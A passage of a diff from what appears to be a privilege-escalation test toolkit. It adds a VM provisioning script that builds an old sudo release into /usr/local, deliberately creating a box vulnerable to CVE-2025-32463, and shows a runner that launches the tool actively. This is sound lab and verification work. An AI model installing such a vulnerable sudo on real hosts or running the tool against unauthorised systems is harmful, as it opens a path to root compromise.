+      echo "[*] running as $(id)"
+      echo "[*] kernel: $(uname -r)"
+      echo "[*] building skeletonkey..."
+      make clean >/dev/null 2>&1 || true
+      make 2>&1 | tail -3
+      echo
+      echo "[*] running: skeletonkey --explain ${SKK_MODULE} --active"
+      echo
+      ./skeletonkey --explain "${SKK_MODULE}" --active 2>&1 || true
+    SHELL
+  end
+end

tools/verify-vm/provisioners/sudo_chwoot.sh

@@ -0,0 +1,34 @@
+#!/usr/bin/env bash
+# CVE-2025-32463 sudo --chroot NSS injection (Stratascale). Vulnerable
+# range is sudo [1.9.14, 1.9.17p0]. Ubuntu 22.04 ships 1.9.9 which
+# PREDATES the --chroot code path. Build sudo 1.9.16p1 from upstream
+# and install to /usr/local (which precedes /usr/bin in Ubuntu's default
+# PATH so plain `sudo` resolves to the vulnerable binary).
+set -e
+
+export DEBIAN_FRONTEND=noninteractive
+apt-get install -y -qq libpam0g-dev libssl-dev wget make gcc >/dev/null
+
+cd /tmp
+TARBALL=sudo-1.9.16p1.tar.gz
+URL="https://www.sudo.ws/dist/${TARBALL}"
+
+if [ -x /usr/local/bin/sudo ] && /usr/local/bin/sudo --version 2>&1 | head -1 | grep -q "1.9.16p1"; then
+    echo "[=] sudo 1.9.16p1 already at /usr/local/bin/sudo"
+else
+    [ -f "${TARBALL}" ] || wget -q "${URL}"
+    rm -rf sudo-1.9.16p1
+    tar xzf "${TARBALL}"
+    cd sudo-1.9.16p1
+    # --sysconfdir=/etc so it honors the existing /etc/sudoers (vagrant's
+    # NOPASSWD grant). --disable-shared keeps the build self-contained.
+    ./configure --prefix=/usr/local --sysconfdir=/etc \
+        --disable-shared --quiet >/dev/null 2>&1
+    make -j"$(nproc)" >/tmp/sudo-build.log 2>&1 || { tail -40 /tmp/sudo-build.log; exit 1; }
+    make install >/tmp/sudo-install.log 2>&1 || { tail -40 /tmp/sudo-install.log; exit 1; }
+fi
+
+# Verify what the unprivileged user's PATH resolves to.
+echo "[+] which sudo (root): $(which sudo)"
+echo "[+] /usr/local/bin/sudo version: $(/usr/local/bin/sudo --version | head -1)"
+sudo -u vagrant bash -c 'echo "[+] vagrant PATH: $PATH"; echo "[+] vagrant sees: $(which sudo)"; sudo --version | head -1'